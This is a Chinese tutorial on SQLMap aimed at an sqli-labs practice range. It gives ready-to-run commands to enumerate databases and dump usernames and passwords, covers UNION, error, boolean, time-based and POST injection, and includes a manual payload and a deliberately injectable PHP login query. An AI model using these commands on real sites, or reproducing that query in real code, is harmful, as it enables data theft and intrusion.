SQLMap自动化注入工具

工具介绍

SQLMap特点

  • Python开源项目
  • 全球最强大的SQL注入工具
  • 支持多种数据库和注入类型
  • 推荐在Linux/Kali环境使用

基础用法

1. 获取数据库名

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" --dbs

参数说明

  • -u:目标URL
  • --dbs:枚举所有数据库

2. 获取表名

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" -D security --tables

参数说明

  • -D security:指定数据库名
  • --tables:枚举表名

3. 获取列名

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" -D security -T users --columns

参数说明

  • -T users:指定表名
  • --columns:枚举列名

4. 导出数据

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" -D security -T users -C username,password --dump

参数说明

  • -C username,password:指定列名
  • --dump:导出数据

高级参数

完整命令格式

bash 复制代码
sqlmap -u [目标URL] --dbs --batch --threads 10 --technique U

参数详解

  • --batch:自动选择默认选项,无需手动确认
  • --threads 10:使用10个线程(加快扫描速度)
  • --technique U:指定注入技术类型

注入技术类型(TECHNIQUE)

U - UNION查询注入

最常用、最快速的注入方式

bash 复制代码
sqlmap -u [URL] --current-db --batch --threads 10 --technique U

特点

  • 需要能显示数据
  • 速度最快
  • 结果最直观

E - 报错注入(Error-based)

适用场景:无法找到显示位,但数据库错误会显示

bash 复制代码
sqlmap -u [URL] --current-db --batch --threads 10 --technique E

原理

  • 通过构造特殊语句触发数据库报错
  • 在报错信息中包含查询结果
  • 对应靶场Less-5

B - 布尔盲注(Boolean-based)

适用场景:页面只有"有内容"和"无内容"两种状态

bash 复制代码
sqlmap -u [URL] --current-db --batch --threads 10 --technique B

原理

  • 通过构造条件判断语句
  • 根据页面是否显示内容判断真假
  • 逐位猜解数据
  • 对应靶场Less-8

T - 时间盲注(Time-based)

适用场景:页面无任何显示差异

bash 复制代码
sqlmap -u [URL] --current-db --batch --threads 10 --technique T -v 3

原理

  • 利用SLEEP()等函数延迟响应
  • 通过响应时间判断条件真假
  • 最慢但最隐蔽的方式
  • -v 3:显示详细调试信息

速度对比

复制代码
U (最快) > E > B > T (最慢)

POST型注入

漏洞识别

靶场环境:Less-11

测试步骤

  1. 在登录表单输入:admin1
  2. 点击Submit提交
  3. 使用Burp Suite抓包
  4. 在用户名后添加'\测试

判断注入点

复制代码
username: admin1'
password: admin1

如果报错,说明存在注入。

后端代码推测

php 复制代码
<?php
$uname = $_POST['uname'];
$passwd = $_POST['passwd'];

$sql = "SELECT username, password FROM users 
        WHERE username='$uname' AND password='$passwd' 
        LIMIT 0,1";
?>

POST注入注释符 :使用#(井号)

测试Payload

复制代码
username: admin1'#
password: 任意值

SQLMap POST注入

基本语法

bash 复制代码
sqlmap -u [目标URL] --data "uname=admin1*&passwd=admin1&submit=Submit" --current-db --batch --threads 10 --technique U

关键参数

  • --data:POST数据
  • *:标记注入点(告诉SQLMap测试这个参数)

实战命令示例

UNION注入

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-11/" \
--data "uname=admin1*&passwd=admin1&submit=Submit" \
--current-db --batch --threads 10 --technique U

报错注入

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-11/" \
--data "uname=admin*&passwd=admin&submit=Submit" \
--current-db --batch --threads 10 --technique E

数据获取流程

  1. 抓取POST数据包
  2. 复制POST数据体(最后一行)
  3. 用双引号包裹
  4. 在注入点位置添加*
  5. 执行SQLMap命令
相关推荐
DARLING Zero two♡2 小时前
【Linux操作系统】简学深悟启示录:线程同步与互斥
linux·运维·服务器
要站在顶端2 小时前
Jenkins动态绑定节点设备ID:多物理机USB设备适配方案
运维·jenkins·cocoa
hhwyqwqhhwy2 小时前
linux 驱动iic
linux·运维·服务器
Sally_xy2 小时前
使用 Jenkins
运维·jenkins
一只努力学习的Cat.2 小时前
Linux:NAPT等其他补充内容
linux·运维·网络
提笔忘字的帝国2 小时前
解决“该jenkins 实例似乎已离线“的问题
运维·jenkins
做咩啊~2 小时前
CentOS 7部署OpenLDAP+phpLDAPadmin实现统一认证
linux·运维·centos
^乘风破浪^2 小时前
Centos升级openssh及openssl
linux·运维·centos
满天星83035772 小时前
【Linux】【进程间通信】管道
linux·运维·服务器